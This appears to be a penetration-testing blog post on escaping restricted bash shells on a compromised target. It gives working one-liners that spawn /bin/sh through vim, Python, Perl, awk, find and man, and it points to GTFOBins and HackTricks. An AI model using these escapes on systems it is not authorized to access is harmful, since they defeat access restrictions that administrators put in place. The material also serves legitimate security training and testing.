Escaping Restricted Shells

Overview

Upon gaining a shell on a target you may find that you are in a restricted shell. Restricted shells are introduced as another line of defense and greatly limited what you can do within a shell. In this post I will show a few different techniques to escape this restricted shell and gain full functionality.

Restrictions

As you probably inferred, a restricted shell is restrictive is what it allows you to do. The default restrictions can be found within the bash manual page.

Default bash restrictions

1. Text Editors

Some text editors have shell escape sequences which allows us to escape our restricted environment.

In a Restricted shell

Here we can see that we are indeed in a restricted shell. To escape from here using vim/vi we just need to start vim/vi and run:

:set shell=/bin/sh
:shell
Setting the shell variable within vim
Executing the shell within vim
Unrestricted shell spawned

Here we where able to execute /bin/sh using vim to escape the restricted shell. Most other text editors that have shell escape sequences are follow similar steps.

2. Programming Languages

If certain programming languages are installed on a system we may be able to leverage them to escape our restricted shell. I’ll list some of the most commonly installed languages here.

Python:
python3 -c 'import os; os.system("/bin/sh");'
Escaping restricted shell using Python3
Perl:
perl -e 'exec "/bin/sh";'
Escaping restricted shell using Python3
Awk:
awk 'BEGIN {system("/bin/sh")}'
Escaping restricted shell using awk

3. System Binaries

Some of the binaries on Linux have the ability to execute shell commands, which we can use to escape our restricted shell. I’ll list a few common ones here.

Find:
find . -exec /bin/sh \; -quit
Escaping restricted shell using find
Man:
man ls
!sh
Executing sh from man command

These are some of the most common linux binaries you can use to escape a restricted shell but you can find a fill list here.

Conclusion

There are many different methods to escape a restricted shell, way too many to list within one article. If none of these methods helped you here are some links that have more techniques:

https://gtfobins.github.io/#+shell

https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions

Leave a Reply

Your email address will not be published. Required fields are marked *